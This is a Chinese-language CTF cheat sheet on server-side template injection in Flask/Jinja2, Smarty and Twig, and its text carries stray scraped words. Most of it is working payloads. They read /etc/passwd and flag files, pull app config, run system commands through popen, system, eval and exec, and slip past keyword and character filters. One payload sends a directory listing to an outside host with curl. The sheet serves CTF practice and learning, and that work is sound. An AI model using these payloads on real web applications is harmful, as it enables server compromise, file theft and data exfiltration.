CTF SSTI(服务器模板注入)

基本判断

渲染模板

flask/jinja

flask SSTI的基本思路就是利用python中的魔术方法找到本身要用的函数php

__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每一个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

一些姿式

浅析SSTI(python沙盒绕过)css

一、config

{{config}}能够获取当前设置,若是题目相似app.config ['FLAG'] = os.environ.pop('FLAG'),那能够直接访问{{config['FLAG']}}或者{{config.FLAG}}获得flaghtml

二、self

{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 一样能够找到config

三、""[]()等数据结构

主要目的是配合__class__.__mro__[2]这样找到object{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}python

四、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

若是config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。web

例如:json

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

经常使用绕过

Jinja2模板注入过滤器绕过flask

如下表示法可用于访问对象的属性:数组

  • request.__class__
  • request["__class__"]
  • request|attr("__class__")

能够使用如下方法访问数组元素:session

  • array[0]
  • array.pop(0)
  • array.__getitem__(2)

(1)过滤[].

只过滤[]数据结构

pop() 函数用于移除列表中的一个元素(默认最后一个元素),而且返回该元素的值。 ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read().也被过滤,使用原生JinJa2函数|attr()request.__class__改为request|attr("__class__")

(2)过滤_

利用request.args属性 {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__ 将其中的request.args改成request.values则利用post的方式进行传参

(3)关键字过滤

  • base64编码绕过 __getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词 {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

  • 字符串拼接绕过 {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}} {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

(4)过滤{{

使用{% if ... %}1{% endif %},例如

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}

若是不能执行命令,读取文件能够利用盲注的方法逐位将内容爆出来

{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}

payload

python2

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

python3

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

Smarty

如下内容出自Smarty SSTI

一、{php}{/php}

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

二、{literal}

{literal}可让一个模板区域的字符原样输出。这常常用于保护页面上的Javascript或css样式表,避免由于Smarty的定界符而错被解析。

那么对于php5的环境咱们就能够使用

<script language="php">phpinfo();</script>

三、{if}

Smarty的{if}条件判断和PHP的if 很是类似,只是增长了一些特性。每一个{if}必须有一个配对的{/if}. 也能够使用{else} 和 {elseif}. 所有的PHP条件表达式和函数均可以在if内使用,如*||*,or,&&,and,is_array(), 等等

{if phpinfo()}{/if}

四、getStreamVariable

新版本失效 {self::getStreamVariable("file:///etc/passwd")}

twig

文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

rce

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

参考连接

flask/jinja2 SSTI入门 SSTI注入绕过(沙盒逃逸原理同样) 探索Flask/Jinja2中的服务端模版注入(一) 探索Flask/Jinja2中的服务端模版注入(二) 从零学习flask模板注入 Server-Side Template Injection

相关文章
相关标签/搜索